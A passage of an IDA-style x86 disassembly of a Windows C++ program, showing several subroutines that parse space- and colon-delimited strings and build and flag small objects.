		jz	short loc_41C338
		mov	esi, dword_50F8D0


loc_41C31C:				; CODE XREF: ___:0041C336j
		push	7D0h
		call	esi
		push	0
		lea	ecx, [esp+130h]
		push	0
		push	ecx
		call	sub_436FAE
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41C31C


loc_41C338:				; CODE XREF: ___:0041C314j
		pop	edi
		mov	al, 1
		pop	esi
		add	esp, 354h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41C390	proc near		; CODE XREF: sub_401D7Fj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41C390
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	0Ch
		push	4
		push	4Fh
		push	10h
		push	14h
		lea	eax, [esp+5Ch+var_3C]
		push	6
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+0BCh]
		push	eax
		push	ecx
		mov	ecx, offset dword_447148
		call	sub_401591
sub_41C390	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Fh
		push	10h
		push	14h
		lea	edx, [esp+24h]
		push	6
		push	edx
		call	sub_4019B5
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+118h]
		push	eax
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	15h
		push	4Fh
		push	10h
		push	14h
		lea	ecx, [esp+20h]
		push	6
		push	ecx
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017E4
		lea	edx, [esi+0EAh]
		push	eax
		push	edx
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	7
		push	4
		push	0Ch
		push	10h
		push	0Ah
		push	4Fh
		push	10h
		push	14h
		push	14h
		lea	eax, [esp+30h]
		push	8
		push	eax
		call	sub_4019B5
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017E4
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Fh
		push	10h
		push	14h
		push	14h
		lea	edx, [esp+28h]
		push	8
		push	edx
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017E4
		push	eax
		lea	eax, [esi+60h]
		push	eax
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	4
		push	43h
		push	10h
		push	0Ah
		push	4Fh
		push	10h
		push	14h
		push	14h
		lea	ecx, [esp+48h]
		push	8
		push	ecx
		call	sub_4019B5
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 5
		call	sub_4017E4
		add	esi, 32h
		push	eax
		push	esi
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41C610	proc near		; CODE XREF: sub_401064j

var_111		= byte ptr -111h
var_110		= dword	ptr -110h
var_10C		= byte ptr -10Ch
var_F4		= byte ptr -0F4h
var_DC		= byte ptr -0DCh
var_C4		= byte ptr -0C4h
var_AC		= byte ptr -0ACh
var_94		= byte ptr -94h
var_7C		= byte ptr -7Ch
var_67		= byte ptr -67h
var_52		= byte ptr -52h
var_3D		= byte ptr -3Dh
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_41C610
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 108h
		push	ebx
		push	ebp
		mov	ebp, ecx
		push	esi
		push	edi
		lea	ecx, [esp+124h+var_10C]
		call	sub_401424
		lea	ecx, [esp+124h+var_DC]
		mov	[esp+124h+var_4], 0
		call	sub_401424
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_401424
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_401424
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_401424
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_401B36
		mov	esi, [esp+124h+arg_0]
		mov	bl, 5
		lea	ecx, [ebp+8Eh]
		mov	byte ptr [esp+124h+var_4], bl
		lea	edi, [esi+7Eh]
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		lea	ecx, [ebp+4]
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41C83C
		push	offset asc_443600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 6
		push	ecx
		mov	ecx, eax
		call	sub_401681
		push	eax
		call	sub_401938
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D1A1
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FBE
		push	offset asc_443C84 ; ":"
		lea	ecx, [esp+128h+var_10C]
		call	sub_401A9B
		mov	eax, [esp+124h+var_28]
		lea	ecx, [esp+124h+var_10C]
		push	eax
		call	sub_401140
		lea	ecx, [esp+124h+var_24]
		push	ecx
		lea	ecx, [esp+128h+var_DC]
		call	sub_401FBE
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+12Ch+var_F4]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 7
		call	sub_401FBE
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 8
		jz	short loc_41C7CC
		mov	ecx, eax
		call	sub_4021C6
		mov	edi, eax
		jmp	short loc_41C7CE
; ---------------------------------------------------------------------------


loc_41C7CC:				; CODE XREF: sub_41C610+1AFj
		xor	edi, edi


loc_41C7CE:				; CODE XREF: sub_41C610+1BAj
		lea	eax, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	eax
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FBE
		lea	ecx, [esp+124h+var_DC]
		push	ecx
		lea	ecx, [edi+26h]
		call	sub_401FBE
		lea	edx, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	edx
		call	sub_401FBE
		lea	eax, [esi+69h]
		lea	ecx, [edi+7Ah]
		push	eax
		call	sub_401FBE
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 0
		mov	cl, [esi+93h]
		mov	[edi+92h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], dl
		call	sub_4013D4


loc_41C83C:				; CODE XREF: sub_41C610+C0j
		lea	ecx, [ebp+60h]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41C9BB
		push	offset asc_443600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 9
		push	ecx
		mov	ecx, eax
		call	sub_401681
		push	eax
		call	sub_401938
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D1A1
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FBE
		push	offset asc_443C84 ; ":"
		lea	ecx, [esp+128h+var_10C]
		call	sub_401A9B
		mov	eax, [esp+124h+var_28]
		lea	ecx, [esp+124h+var_10C]
		push	eax
		call	sub_401140
		lea	ecx, [esp+124h+var_24]
		push	ecx
		lea	ecx, [esp+128h+var_DC]
		call	sub_401FBE
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+12Ch+var_F4]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 0Ah
		call	sub_401FBE
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 0Bh
		jz	short loc_41C94B
		mov	ecx, eax
		call	sub_4021C6
		mov	edi, eax
		jmp	short loc_41C94D
; ---------------------------------------------------------------------------


loc_41C94B:				; CODE XREF: sub_41C610+32Ej
		xor	edi, edi


loc_41C94D:				; CODE XREF: sub_41C610+339j
		lea	eax, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	eax
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FBE
		lea	ecx, [esp+124h+var_DC]
		push	ecx
		lea	ecx, [edi+26h]
		call	sub_401FBE
		lea	edx, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	edx
		call	sub_401FBE
		lea	eax, [esi+69h]
		lea	ecx, [edi+7Ah]
		push	eax
		call	sub_401FBE
		mov	byte ptr [edi+8Fh], 1
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 0
		mov	cl, [esi+93h]
		mov	[edi+92h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], dl
		call	sub_4013D4


loc_41C9BB:				; CODE XREF: sub_41C610+23Fj
		lea	ecx, [ebp+32h]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41CBF6
		push	offset asc_443600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 0Ch
		push	ecx
		mov	ecx, eax
		call	sub_401681
		push	eax
		call	sub_401938
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D1A1
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FBE
		push	offset asc_443C84 ; ":"
		lea	ecx, [esp+128h+var_10C]
		call	sub_401A9B
		mov	eax, [esp+124h+var_28]
		lea	ecx, [esp+124h+var_10C]
		push	eax
		call	sub_401140
		lea	ecx, [esp+124h+var_24]
		push	ecx
		lea	ecx, [esp+128h+var_DC]
		call	sub_401FBE
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+12Ch+var_F4]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 0Dh
		call	sub_401FBE
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	3
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		push	offset word_44758A
		mov	ecx, eax
		mov	byte ptr [esp+128h+var_4], 0Eh
		call	sub_401B72
		test	eax, eax
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		setz	[esp+124h+var_111]
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jz	short loc_41CB5E
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_4014B0
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+124h+var_DC]
		mov	byte ptr [esp+124h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+124h+var_10C]
		mov	[esp+124h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_41D212
; ---------------------------------------------------------------------------


loc_41CB5E:				; CODE XREF: sub_41C610+4D6j
		push	94h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 0Fh
		jz	short loc_41CB86
		mov	ecx, eax
		call	sub_4021C6
		mov	edi, eax
		jmp	short loc_41CB88
; ---------------------------------------------------------------------------


loc_41CB86:				; CODE XREF: sub_41C610+569j
		xor	edi, edi


loc_41CB88:				; CODE XREF: sub_41C610+574j
		lea	ecx, [esp+124h+var_10C]
		mov	byte ptr [esp+124h+var_4], bl
		push	ecx
		lea	ecx, [edi+11h]
		call	sub_401FBE
		lea	edx, [esp+124h+var_DC]
		lea	ecx, [edi+26h]
		push	edx
		call	sub_401FBE
		lea	eax, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	eax
		call	sub_401FBE
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [edi+7Ah]
		call	sub_401FBE
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 1
		mov	byte ptr [edi+91h], 0
		mov	dl, [esi+93h]
		mov	[edi+92h], dl
		mov	al, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], al
		call	sub_4013D4


loc_41CBF6:				; CODE XREF: sub_41C610+3BEj
		lea	ecx, [ebp+0BCh]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41CD9B
		push	offset asc_443600 ; " "
		lea	ecx, [esp+128h+var_F4]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		lea	edx, [esp+124h+var_7C]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+128h+var_4], 10h
		call	sub_401681
		push	eax
		call	sub_401938
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D1A1
		lea	eax, [esp+124h+var_52]
		lea	ecx, [esp+124h+var_AC]
		push	eax
		call	sub_401FBE
		lea	ecx, [esp+124h+var_3D]
		push	ecx
		lea	ecx, [esp+128h+var_94]
		call	sub_401FBE
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FBE
		lea	eax, [esp+124h+var_24]
		lea	ecx, [esp+124h+var_DC]
		push	eax
		call	sub_401FBE
		push	1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+12Ch+var_F4]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 11h
		call	sub_401FBE
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 12h
		jz	short loc_41CD0E
		mov	ecx, eax
		call	sub_4021C6
		mov	edi, eax
		jmp	short loc_41CD10
; ---------------------------------------------------------------------------


loc_41CD0E:				; CODE XREF: sub_41C610+6F1j
		xor	edi, edi


loc_41CD10:				; CODE XREF: sub_41C610+6FCj
		lea	edx, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	edx
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FBE
		lea	eax, [esp+124h+var_DC]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FBE
		lea	ecx, [esp+124h+var_C4]
		push	ecx
		lea	ecx, [edi+65h]
		call	sub_401FBE
		lea	edx, [esp+124h+var_AC]
		lea	ecx, [edi+3Bh]
		push	edx
		call	sub_401FBE
		lea	eax, [esp+124h+var_94]
		lea	ecx, [edi+50h]
		push	eax
		call	sub_401FBE
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [edi+7Ah]
		call	sub_401FBE
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 1
		mov	dl, [esi+93h]
		mov	[edi+92h], dl
		mov	al, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], al
		call	sub_4013D4


loc_41CD9B:				; CODE XREF: sub_41C610+5FCj
		lea	ecx, [ebp+118h]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41CF40
		push	offset asc_443600 ; " "
		lea	ecx, [esp+128h+var_F4]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		lea	edx, [esp+124h+var_7C]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+128h+var_4], 13h
		call	sub_401681
		push	eax
		call	sub_401938
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D1A1
		lea	eax, [esp+124h+var_52]
		lea	ecx, [esp+124h+var_AC]
		push	eax
		call	sub_401FBE
		lea	ecx, [esp+124h+var_3D]
		push	ecx
		lea	ecx, [esp+128h+var_94]
		call	sub_401FBE
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FBE
		lea	eax, [esp+124h+var_24]
		lea	ecx, [esp+124h+var_DC]
		push	eax
		call	sub_401FBE
		push	1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+12Ch+var_F4]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 14h
		call	sub_401FBE
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 15h
		jz	short loc_41CEB3
		mov	ecx, eax
		call	sub_4021C6
		mov	edi, eax
		jmp	short loc_41CEB5
; ---------------------------------------------------------------------------


loc_41CEB3:				; CODE XREF: sub_41C610+896j
		xor	edi, edi


loc_41CEB5:				; CODE XREF: sub_41C610+8A1j
		lea	edx, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	edx
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FBE
		lea	eax, [esp+124h+var_DC]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FBE
		lea	ecx, [esp+124h+var_C4]
		push	ecx
		lea	ecx, [edi+65h]
		call	sub_401FBE
		lea	edx, [esp+124h+var_AC]
		lea	ecx, [edi+3Bh]
		push	edx
		call	sub_401FBE
		lea	eax, [esp+124h+var_94]
		lea	ecx, [edi+50h]
		push	eax
		call	sub_401FBE
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [edi+7Ah]
		call	sub_401FBE
		mov	byte ptr [edi+8Fh], 1
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 1
		mov	dl, [esi+93h]
		mov	[edi+92h], dl
		mov	al, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], al
		call	sub_4013D4


loc_41CF40:				; CODE XREF: sub_41C610+7A1j
		lea	ecx, [ebp+0EAh]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41D1A1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+128h+var_F4]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		lea	edx, [esp+124h+var_7C]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+128h+var_4], 16h
		call	sub_401681
		push	eax
		call	sub_401938
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D1A1
		lea	eax, [esp+124h+var_52]
		lea	ecx, [esp+124h+var_AC]
		push	eax
		call	sub_401FBE
		lea	ecx, [esp+124h+var_3D]
		push	ecx
		lea	ecx, [esp+128h+var_94]
		call	sub_401FBE
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FBE
		lea	eax, [esp+124h+var_24]
		lea	ecx, [esp+124h+var_DC]
		push	eax
		call	sub_401FBE
		push	1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+12Ch+var_F4]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 17h
		call	sub_401FBE
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+128h+var_F4]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		push	offset word_44758A
		mov	ecx, eax
		mov	byte ptr [esp+128h+var_4], 18h
		call	sub_401B72
		test	eax, eax
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		setz	[esp+124h+var_111]
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jz	short loc_41D0EC
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_4014B0
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+124h+var_DC]
		mov	byte ptr [esp+124h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+124h+var_10C]
		mov	[esp+124h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_41D212
; ---------------------------------------------------------------------------


loc_41D0EC:				; CODE XREF: sub_41C610+A64j
		push	94h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 19h
		jz	short loc_41D114
		mov	ecx, eax
		call	sub_4021C6
		mov	edi, eax
		jmp	short loc_41D116
; ---------------------------------------------------------------------------


loc_41D114:				; CODE XREF: sub_41C610+AF7j
		xor	edi, edi


loc_41D116:				; CODE XREF: sub_41C610+B02j
		lea	eax, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	eax
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FBE
		lea	ecx, [esp+124h+var_DC]
		push	ecx
		lea	ecx, [edi+26h]
		call	sub_401FBE
		lea	edx, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	edx
		call	sub_401FBE
		lea	eax, [esp+124h+var_AC]
		lea	ecx, [edi+3Bh]
		push	eax
		call	sub_401FBE
		lea	ecx, [esp+124h+var_94]
		push	ecx
		lea	ecx, [edi+50h]
		call	sub_401FBE
		lea	edx, [esi+69h]
		lea	ecx, [edi+7Ah]
		push	edx
		call	sub_401FBE
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 1
		mov	byte ptr [edi+91h], 1
		mov	al, [esi+93h]
		mov	[edi+92h], al
		mov	cl, [esi+94h]
		mov	[edi+93h], cl
		mov	ecx, edi
		call	sub_4013D4


loc_41D1A1:				; CODE XREF: sub_41C610+116j
					; sub_41C610+295j ...
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_4014B0
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+124h+var_DC]
		mov	byte ptr [esp+124h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+124h+var_10C]
		mov	[esp+124h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1


loc_41D212:				; CODE XREF: sub_41C610+549j
					; sub_41C610+AD7j
		mov	ecx, [esp+124h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 114h
		retn	4
sub_41C610	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 310h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D540	proc near		; CODE XREF: sub_401B36j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D540
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401424
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401424
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401424
		lea	ecx, [esi+58h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D540	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D5D0	proc near		; CODE XREF: sub_4014B0j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D5D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+58h]
		mov	[esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D5D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D670	proc near		; CODE XREF: sub_4021C6j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D670
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E6A
		lea	ecx, [esi+11h]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401424
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401424
		lea	ecx, [esi+50h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401424
